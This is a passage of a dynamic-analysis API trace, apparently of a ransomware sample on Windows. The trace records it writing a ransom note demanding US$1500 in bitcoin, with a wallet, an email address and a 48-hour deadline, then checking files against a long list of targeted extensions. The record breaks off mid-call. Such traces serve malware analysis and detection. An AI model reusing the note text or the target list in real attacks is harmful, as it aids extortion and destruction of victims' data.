lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\HOW TO DECRYPT FILES.txt" [0108.143] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\140714964f3afbcea38cb33d548c5d3c\\how to decrypt files.txt")) returned 0xffffffff [0108.143] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\140714964f3afbcea38cb33d548c5d3c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.172] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.173] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.175] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.175] CloseHandle (hObject=0x90) returned 1 [0108.175] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\", lpString2="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll" [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.ems") returned 0 [0108.175] lstrlenA (lpString="*.ems") returned 5 [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.db") returned 0 [0108.175] lstrlenA (lpString="*.db") returned 4 [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.dbf") returned 0 [0108.175] lstrlenA (lpString="*.dbf") returned 5 [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.myox") returned 0 [0108.175] lstrlenA (lpString="*.myox") returned 6 [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.myo") returned 0 [0108.175] lstrlenA (lpString="*.myo") returned 5 [0108.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbw") returned 0 [0108.175] lstrlenA (lpString="*.qbw") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbb") returned 0 [0108.176] lstrlenA (lpString="*.qbb") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbm") returned 0 [0108.176] lstrlenA (lpString="*.qbm") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbo") returned 0 [0108.176] lstrlenA (lpString="*.qbo") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbx") returned 0 [0108.176] lstrlenA (lpString="*.qbx") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qba") returned 0 [0108.176] lstrlenA (lpString="*.qba") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qby") returned 0 [0108.176] lstrlenA (lpString="*.qby") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qbj") returned 0 [0108.176] lstrlenA (lpString="*.qbj") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.ofx") returned 0 [0108.176] lstrlenA (lpString="*.ofx") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.qif") returned 0 [0108.176] lstrlenA (lpString="*.qif") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mye") returned 0 [0108.176] lstrlenA (lpString="*.mye") returned 5 [0108.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mbox") returned 0 [0108.177] lstrlenA (lpString="*.mbox") returned 6 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.177] lstrlenA (lpString="*.eml") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.pst") returned 0 [0108.177] lstrlenA (lpString="*.pst") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.ost") returned 0 [0108.177] lstrlenA (lpString="*.ost") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.idx") returned 0 [0108.177] lstrlenA (lpString="*.idx") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.dbx") returned 0 [0108.177] lstrlenA (lpString="*.dbx") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.sql") returned 0 [0108.177] lstrlenA (lpString="*.sql") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mdb") returned 0 [0108.177] lstrlenA (lpString="*.mdb") returned 5 [0108.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.fdb") returned 0 [0108.177] lstrlenA (lpString="*.fdb") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.wab") returned 0 [0108.178] lstrlenA (lpString="*.wab") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.dat") returned 0 [0108.178] lstrlenA (lpString="*.dat") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.txt") returned 0 [0108.178] lstrlenA (lpString="*.txt") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.jpeg") returned 0 [0108.178] lstrlenA (lpString="*.jpeg") returned 6 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.jpg") returned 0 [0108.178] lstrlenA (lpString="*.jpg") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.png") returned 0 [0108.178] lstrlenA (lpString="*.png") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.php") returned 0 [0108.178] lstrlenA (lpString="*.php") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.cs") returned 0 [0108.178] lstrlenA (lpString="*.cs") returned 4 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.cpp") returned 0 [0108.178] lstrlenA (lpString="*.cpp") returned 5 [0108.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.rar") returned 0 [0108.178] lstrlenA (lpString="*.rar") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.zip") returned 0 [0108.179] lstrlenA (lpString="*.zip") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.html") returned 0 [0108.179] lstrlenA (lpString="*.html") returned 6 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.htm") returned 0 [0108.179] lstrlenA (lpString="*.htm") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.xlsx") returned 0 [0108.179] lstrlenA (lpString="*.xlsx") returned 6 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.xls") returned 0 [0108.179] lstrlenA (lpString="*.xls") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mp4") returned 0 [0108.179] lstrlenA (lpString="*.mp4") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.ppt") returned 0 [0108.179] lstrlenA (lpString="*.ppt") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.pptx") returned 0 [0108.179] lstrlenA (lpString="*.pptx") returned 6 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.doc") returned 0 [0108.179] lstrlenA (lpString="*.doc") returned 5 [0108.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.dot") returned 0 [0108.179] lstrlenA (lpString="*.dot") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.docx") returned 0 [0108.180] lstrlenA (lpString="*.docx") returned 6 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.7z") returned 0 [0108.180] lstrlenA (lpString="*.7z") returned 4 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.tar") returned 0 [0108.180] lstrlenA (lpString="*.tar") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.bz2") returned 0 [0108.180] lstrlenA (lpString="*.bz2") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.gz") returned 0 [0108.180] lstrlenA (lpString="*.gz") returned 4 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mkv") returned 0 [0108.180] lstrlenA (lpString="*.mkv") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.180] lstrlenA (lpString="*.eml") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.msg") returned 0 [0108.180] lstrlenA (lpString="*.msg") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.edb") returned 0 [0108.180] lstrlenA (lpString="*.edb") returned 5 [0108.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.accdb") returned 0 [0108.181] lstrlenA (lpString="*.accdb") returned 7 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.odb") returned 0 [0108.181] lstrlenA (lpString="*.odb") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.java") returned 0 [0108.181] lstrlenA (lpString="*.java") returned 6 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.asm") returned 0 [0108.181] lstrlenA (lpString="*.asm") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.pfx") returned 0 [0108.181] lstrlenA (lpString="*.pfx") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.pem") returned 0 [0108.181] lstrlenA (lpString="*.pem") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.p12") returned 0 [0108.181] lstrlenA (lpString="*.p12") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.gpg") returned 0 [0108.181] lstrlenA (lpString="*.gpg") returned 5 [0108.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.vsd") returned 0 [0108.181] lstrlenA (lpString="*.vsd") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.odg") returned 0 [0108.182] lstrlenA (lpString="*.odg") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.raw") returned 0 [0108.182] lstrlenA (lpString="*.raw") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.nef") returned 0 [0108.182] lstrlenA (lpString="*.nef") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.svg") returned 0 [0108.182] lstrlenA (lpString="*.svg") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.psd") returned 0 [0108.182] lstrlenA (lpString="*.psd") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.vmx") returned 0 [0108.182] lstrlenA (lpString="*.vmx") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.vmdk") returned 0 [0108.182] lstrlenA (lpString="*.vmdk") returned 6 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.vdi") returned 0 [0108.182] lstrlenA (lpString="*.vdi") returned 5 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.lay6") returned 0 [0108.182] lstrlenA (lpString="*.lay6") returned 6 [0108.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.mpeg") returned 0 [0108.182] lstrlenA (lpString="*.mpeg") returned 6 [0108.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.djvu") returned 0 [0108.183] lstrlenA (lpString="*.djvu") returned 6 [0108.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.tiff") returned 0 [0108.183] lstrlenA (lpString="*.tiff") returned 6 [0108.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.backup") returned 0 [0108.184] lstrlenA (lpString="*.backup") returned 8 [0108.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.pdf") returned 0 [0108.185] lstrlenA (lpString="*.pdf") returned 5 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.cert") returned 0 [0108.185] lstrlenA (lpString="*.cert") returned 6 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.docm") returned 0 [0108.185] lstrlenA (lpString="*.docm") returned 6 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.xlsm") returned 0 [0108.185] lstrlenA (lpString="*.xlsm") returned 6 [0108.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", pszSpec="*.dwg") returned 0 [0108.185] lstrlenA (lpString="*.dwg") returned 5 [0108.185] PathMatchSpecA 